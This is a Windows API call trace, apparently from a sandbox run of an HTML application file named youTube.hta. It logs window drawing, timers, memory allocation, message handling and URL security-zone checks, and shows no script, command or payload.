[0211.032] GetClientRect (in: hWnd=0x3029a, lpRect=0x640c494 | out: lpRect=0x640c494) returned 1
[0211.032] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.032] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.032] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.038] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.038] QueryPerformanceCounter (in: lpPerformanceCount=0x198428 | out: lpPerformanceCount=0x198428*=3014578087379) returned 1
[0211.038] GetDCEx (hWnd=0x3029a, hrgnClip=0x0, flags=0x12) returned 0x310106d0
[0211.039] CreateRectRgnIndirect (lprect=0x1983c8) returned 0x65040a96
[0211.039] MapWindowPoints (in: hWndFrom=0x3029a, hWndTo=0x0, lpPoints=0x198408, cPoints=0x1 | out: lpPoints=0x198408) returned 10551434
[0211.039] GetRandomRgn (hdc=0x310106d0, hrgn=0x65040a96, i=4) returned 1
[0211.039] OffsetRgn (hrgn=0x65040a96, x=-138, y=-161) returned 1
[0211.039] MapWindowPoints (in: hWndFrom=0x3029a, hWndTo=0x0, lpPoints=0x198418, cPoints=0x1 | out: lpPoints=0x198418) returned 10551434
[0211.040] GetRegionData (in: hrgn=0x65040a96, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x20
[0211.040] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x76f1b0
[0211.040] GetRegionData (in: hrgn=0x65040a96, nCount=0x20, lpRgnData=0x76f1b0 | out: lpRgnData=0x76f1b0) returned 0x20
[0211.040] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76f1b0 | out: hHeap=0x6b0000) returned 1
[0211.040] DeleteObject (ho=0x65040a96) returned 1
[0211.040] ReleaseDC (hWnd=0x3029a, hDC=0x310106d0) returned 1
[0211.043] GetCurrentThreadId () returned 0x7a0
[0211.043] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0211.043] QueryPerformanceCounter (in: lpPerformanceCount=0x1989ac | out: lpPerformanceCount=0x1989ac*=3014578585633) returned 1
[0211.044] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0211.044] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014578687340) returned 1
[0211.045] SetTimer (hWnd=0x3029a, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008
[0211.045] GetCurrentThreadId () returned 0x7a0
[0211.059] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0211.059] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014580149460) returned 1
[0211.075] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014581734336) returned 1
[0211.091] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014583358545) returned 1
[0211.107] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014584938559) returned 1
[0211.123] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014586508701) returned 1
[0211.139] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014588117675) returned 1
[0211.149] GetCurrentThreadId () returned 0x7a0
[0211.155] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0211.155] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014589738951) returned 1
[0211.171] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014591336985) returned 1
[0211.187] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014592914769) returned 1
[0211.203] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014594524948) returned 1
[0211.219] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014596189678) returned 1
[0211.235] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014597773911) returned 1
[0211.251] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014599358733) returned 1
[0211.284] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014602684968) returned 1
[0211.299] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014604158540) returned 1
[0211.315] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014605791445) returned 1
[0211.332] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014607408736) returned 1
[0211.349] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014609154341) returned 1
[0211.363] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014610563213) returned 1
[0211.379] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014612153288) returned 1
[0211.395] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014613761007) returned 1
[0211.397] QueryPerformanceCounter (in: lpPerformanceCount=0x198984 | out: lpPerformanceCount=0x198984*=3014613951929) returned 1
[0211.397] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0211.397] GetFocus () returned 0x3029a
[0211.397] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.398] GetClientRect (in: hWnd=0x3029a, lpRect=0x640c5d4 | out: lpRect=0x640c5d4) returned 1
[0211.398] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.398] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.398] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.398] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.399] QueryPerformanceCounter (in: lpPerformanceCount=0x198428 | out: lpPerformanceCount=0x198428*=3014614106190) returned 1
[0211.399] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.400] QueryPerformanceCounter (in: lpPerformanceCount=0x198428 | out: lpPerformanceCount=0x198428*=3014614405326) returned 1
[0211.403] GetCurrentThreadId () returned 0x7a0
[0211.403] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0211.403] QueryPerformanceCounter (in: lpPerformanceCount=0x1989ac | out: lpPerformanceCount=0x1989ac*=3014614546161) returned 1
[0211.411] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0211.411] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014615358156) returned 1
[0211.563] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014630602735) returned 1
[0212.021] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014676336337) returned 1
[0212.022] QueryPerformanceCounter (in: lpPerformanceCount=0x198984 | out: lpPerformanceCount=0x198984*=3014676429596) returned 1
[0212.022] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0212.022] QueryPerformanceCounter (in: lpPerformanceCount=0x1989ac | out: lpPerformanceCount=0x1989ac*=3014676476740) returned 1
[0212.023] GetWindowLongW (hWnd=0x30198, nIndex=0) returned 7309584
[0212.027] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014676950601) returned 1
[0212.043] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014678533767) returned 1
[0212.059] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014680120304) returned 1
[0212.067] IUnknown:Release (This=0x9e61288) returned 0x1
[0212.067] GetCurrentThreadId () returned 0x7a0
[0212.067] GetCurrentThreadId () returned 0x7a0
[0212.067] GetCurrentThreadId () returned 0x7a0
[0212.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7c1d45e3, dwHighDateTime=0x1d7e6dd))
[0212.068] GetTickCount () returned 0x1ca6d52
[0212.068] SetTimer (hWnd=0x30198, nIDEvent=0x1, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x1
[0212.068] GetTickCount () returned 0x1ca6d52
[0212.068] GetTickCount () returned 0x1ca6d52
[0212.068] SetEvent (hEvent=0x388) returned 1
[0212.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7c1d95ee, dwHighDateTime=0x1d7e6dd))
[0212.068] GetTickCount () returned 0x1ca6d52
[0212.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7c1da937, dwHighDateTime=0x1d7e6dd))
[0212.069] free (_Block=0x6359f08)
[0212.069] GetCurrentThreadId () returned 0x7a0
[0212.069] GetCurrentThreadId () returned 0x7a0
[0212.070] IUnknown:Release (This=0x6408570) returned 0x9
[0212.070] GetCurrentThreadId () returned 0x7a0
[0212.070] GetCurrentThreadId () returned 0x7a0
[0212.070] free (_Block=0x6356648)
[0212.070] ISystemDebugEventFire:IsActive (This=0x769380) returned 0x1
[0212.070] free (_Block=0x6368190)
[0212.071] free (_Block=0x6358478)
[0212.071] GetCurrentThreadId () returned 0x7a0
[0212.071] GetCurrentThreadId () returned 0x7a0
[0212.071] GetCurrentThreadId () returned 0x7a0
[0212.071] GetCurrentThreadId () returned 0x7a0
[0212.071] GetCurrentThreadId () returned 0x7a0
[0212.071] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76aa30 | out: hHeap=0x6b0000) returned 1
[0212.072] GetCurrentThreadId () returned 0x7a0
[0212.072] SetEvent (hEvent=0x29c) returned 1
[0212.072] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb98 | out: lpPerformanceCount=0x19fb98*=3014681494513) returned 1
[0212.073] SetEvent (hEvent=0x304) returned 1
[0212.073] QueryPerformanceCounter (in: lpPerformanceCount=0x19fc1c | out: lpPerformanceCount=0x19fc1c*=3014681592408) returned 1
[0212.074] QueryPerformanceCounter (in: lpPerformanceCount=0x19fbec | out: lpPerformanceCount=0x19fbec*=3014681679161) returned 1
[0212.074] QueryPerformanceCounter (in: lpPerformanceCount=0x19fbc8 | out: lpPerformanceCount=0x19fbc8*=3014681692765) returned 1
[0212.075] QueryPerformanceCounter (in: lpPerformanceCount=0x19fbd8 | out: lpPerformanceCount=0x19fbd8*=3014681705268) returned 1
[0212.075] KillTimer (hWnd=0xa01d6, uIDEvent=0x2005) returned 1
[0212.075] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.075] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.075] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.075] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0212.076] QueryPerformanceCounter (in: lpPerformanceCount=0x19fc94 | out: lpPerformanceCount=0x19fc94*=3014681805971) returned 1
[0212.076] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.076] GetCurrentThreadId () returned 0x7a0
[0212.076] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.076] GetCurrentThreadId () returned 0x7a0
[0212.076] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.076] GetCurrentThreadId () returned 0x7a0
[0212.076] RedrawWindow (hWnd=0xa01d6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1
[0212.076] NtdllDefWindowProc_W () returned 0x0
[0212.076] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.077] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.077] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.078] KillTimer (hWnd=0xa01d6, uIDEvent=0x2006) returned 1
[0212.078] PostMessageW (hWnd=0xa01d6, Msg=0x113, wParam=0x2000, lParam=0x0) returned 1
[0212.078] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb44 | out: lpPerformanceCount=0x19fb44*=3014682085218) returned 1
[0212.078] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb14 | out: lpPerformanceCount=0x19fb14*=3014682092920) returned 1
[0212.079] QueryPerformanceCounter (in: lpPerformanceCount=0x19faf0 | out: lpPerformanceCount=0x19faf0*=3014682112520) returned 1
[0212.079] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb00 | out: lpPerformanceCount=0x19fb00*=3014682118304) returned 1
[0212.079] SetEvent (hEvent=0x308) returned 1
[0212.080] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.080] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.080] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.080] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.088] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.088] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.089] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.089] StrChrW (lpStart="language", wMatch=0x3a) returned 0x0
[0212.091] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.091] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x16) returned 0x9e75e08
[0212.091] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.091] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.091] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.091] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.091] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x76aa30
[0212.092] SetTimer (hWnd=0x3029a, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008
[0212.093] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f984 | out: ppu=0x19f984) returned 0x0
[0212.093] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0212.093] IUnknown:AddRef (This=0x6d993c) returned 0x6
[0212.093] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0212.093] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f930, dwFlags=0x0 | out: pdwZone=0x19f930*=0xffffffff) returned 0x800c0011
[0212.095] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.095] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.095] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0212.095] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f934, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f914 | out: pPolicy=0x19f934*=0x0, pdwOutFlags=0x19f914*=0x0) returned 0x0
[0212.095] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f934, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f934*=0x0) returned 0x0
[0212.095] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.095] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0212.095] IUnknown:Release (This=0x6d993c) returned 0x6
[0212.096] QueryPerformanceCounter (in: lpPerformanceCount=0x64209e0 | out: lpPerformanceCount=0x64209e0*=3014683824338) returned 1
[0212.096] GetCurrentThreadId () returned 0x7a0
[0212.096] GetCurrentThreadId () returned 0x7a0
[0212.096] GetCurrentThreadId () returned 0x7a0
[0212.097] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.097] LsSetDoc () returned 0x0
[0212.097] LsCreateLine ()
[0212.205] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.205] LsSetDoc () returned 0x0
[0212.205] LsCreateLine () returned 0x0
[0212.205] LsQueryLineDup () returned 0x0
[0212.205] LsDestroyLine () returned 0x0
[0212.206] memcpy_s (in: _Destination=0x19dda0, _DestinationSize=0xc28, _Source=0x6ee393e0, _SourceSize=0xc28 | out: _Destination=0x19dda0) returned 0x0
[0212.206] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.207] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb78 | out: lpPerformanceCount=0x19fb78*=3014694914398) returned 1
[0212.207] QueryPerformanceCounter (in: lpPerformanceCount=0x19fafc | out: lpPerformanceCount=0x19fafc*=3014694928545) returned 1
[0212.207] QueryPerformanceCounter (in: lpPerformanceCount=0x19fae8 | out: lpPerformanceCount=0x19fae8*=3014694935849) returned 1
[0212.207] QueryPerformanceCounter (in: lpPerformanceCount=0x19fa8c | out: lpPerformanceCount=0x19fa8c*=3014694942837) returned 1
[0212.207] QueryPerformanceCounter (in: lpPerformanceCount=0x19fa84 | out: lpPerformanceCount=0x19fa84*=3014694986219) returned 1
[0212.207] QueryPerformanceCounter (in: lpPerformanceCount=0x19f9a4 | out: lpPerformanceCount=0x19f9a4*=3014694994788) returned 1
[0212.208] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.208] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.208] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.208] SetEvent (hEvent=0x304) returned 1
[0212.208] WTSGetActiveConsoleSessionId () returned 0x1
[0212.208] GetCurrentProcessId () returned 0x7a4
[0212.208] GetCurrentThreadId () returned 0x7a0
[0212.208] SetEvent (hEvent=0x308) returned 1
[0212.210] QueryPerformanceCounter (in: lpPerformanceCount=0x19fab0 | out: lpPerformanceCount=0x19fab0*=3014695208241) returned 1
[0212.210] GetClientRect (in: hWnd=0x3029a, lpRect=0x19fb18 | out: lpRect=0x19fb18) returned 1
[0212.210] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x34) returned 0x9e6aae8
[0212.211] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f8a0 | out: ppu=0x19f8a0) returned 0x0
[0212.211] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0212.211] IUnknown:AddRef (This=0x6d993c) returned 0x7
[0212.211] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0212.211] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f84c, dwFlags=0x0 | out: pdwZone=0x19f84c*=0xffffffff) returned 0x800c0011
[0212.211] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.211] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.211] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0212.211] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f850, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f830 | out: pPolicy=0x19f850*=0x0, pdwOutFlags=0x19f830*=0x0) returned 0x0
[0212.211] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f850, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f850*=0x0) returned 0x0
[0212.211] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.211] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0212.212] IUnknown:Release (This=0x6d993c) returned 0x6
[0212.212] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f818 | out: ppu=0x19f818) returned 0x0
[0212.212] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0212.212] IUnknown:AddRef (This=0x6d993c) returned 0x7
[0212.212] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0212.212] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f7c4, dwFlags=0x0 | out: pdwZone=0x19f7c4*=0xffffffff) returned 0x800c0011
[0212.212] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.212] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.212] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0212.212] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f7c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f7a8 | out: pPolicy=0x19f7c8*=0x0, pdwOutFlags=0x19f7a8*=0x0) returned 0x0
[0212.212] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f7c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f7c8*=0x0) returned 0x0
[0212.212] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0212.213] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0212.213] IUnknown:Release (This=0x6d993c) returned 0x6
[0212.213] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0
[0212.213] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0
[0212.213] GetCurrentThreadId () returned 0x7a0
[0212.213] SysStringLen (param_1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x33
[0212.213] SysStringLen (param_1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x33
[0212.213] _wcsicmp (_String1="", _String2="") returned 0
[0212.214] malloc (_Size=0x46) returned 0x6358478
[0212.214] malloc (_Size=0x22c) returned 0x635db78
[0212.214] malloc (_Size=0x804) returned 0x635ddb0
[0212.214] malloc (_Size=0x19c) returned 0x635ea78
[0212.214] free (_Block=0x635ea78)
[0212.214] malloc (_Size=0xc) returned 0x635e8b0
[0212.214] malloc (_Size=0xc) returned 0x635e8c8
[0212.214] malloc (_Size=0x10) returned 0x635e928
[0212.215] malloc (_Size=0x30) returned 0x6368318
[0212.215] free (_Block=0x635ddb0)
[0212.215] free (_Block=0x635db78)
[0212.215] malloc (_Size=0x20) returned 0x63567d8
[0212.215] free (_Block=0x6358478)
[0212.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7c340257, dwHighDateTime=0x1d7e6dd))
[0212.215] GetTickCount () returned 0x1ca6ddf
[0212.215] GetCurrentThreadId () returned 0x7a0
[0212.216] GetCurrentThreadId () returned 0x7a0
[0212.216] _wcsicmp (_String1="window", _String2="window") returned 0
[0212.216] GetCurrentThreadId () returned 0x7a0
[0212.216] GetCurrentThreadId () returned 0x7a0
[0212.216] GetCurrentThreadId () returned 0x7a0
[0212.216] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0212.216] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0212.217] malloc (_Size=0x28) returned 0x6359f08
[0212.217] GetCurrentThreadId () returned 0x7a0
[0212.217] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0212.271] GetCurrentThreadId () returned 0x7a0
[0212.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7c3c8aac, dwHighDateTime=0x1d7e6dd))
[0212.271] GetTickCount () returned 0x1ca6e1e
[0212.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7c3c8aac, dwHighDateTime=0x1d7e6dd))
[0212.271] GetTickCount () returned 0x1ca6e1e
[0212.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7c3c8aac, dwHighDateTime=0x1d7e6dd))
[0212.271] free (_Block=0x63567d8)
[0212.272] free (_Block=0x6359f08)
[0212.272] GetTickCount () returned 0x1ca6e1e
[0212.272] GetTickCount () returned 0x1ca6e1e
[0212.272] GetCurrentThreadId () returned 0x7a0
[0212.272] GetCurrentThreadId () returned 0x7a0
[0212.272] GetCurrentThreadId () returned 0x7a0
[0212.272] GetCurrentThreadId () returned 0x7a0
[0212.272] GetCurrentThreadId () returned 0x7a0
[0212.272] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76aa30 | out: hHeap=0x6b0000) returned 1
[0212.272] GetCurrentThreadId () returned 0x7a0
[0212.272] SetEvent (hEvent=0x29c) returned 1
[0212.273] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.273] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.273] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.273] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0212.273] QueryPerformanceCounter (in: lpPerformanceCount=0x19fc94 | out: lpPerformanceCount=0x19fc94*=3014701572260) returned 1
[0212.273] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.273] GetCurrentThreadId () returned 0x7a0
[0212.274] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.274] GetCurrentThreadId () returned 0x7a0
[0212.274] RedrawWindow (hWnd=0xa01d6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1
[0212.274] NtdllDefWindowProc_W () returned 0x0
[0212.274] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.274] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.274] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.274] GetCurrentThreadId () returned 0x7a0
[0212.274] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19e050 | out: lpPoint=0x19e050) returned 1
[0212.275] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.276] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19deb8 | out: lpPoint=0x19deb8) returned 1
[0212.276] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.276] GetCurrentThreadId () returned 0x7a0
[0212.276] GetCurrentThreadId () returned 0x7a0
[0212.276] GetCurrentThreadId () returned 0x7a0
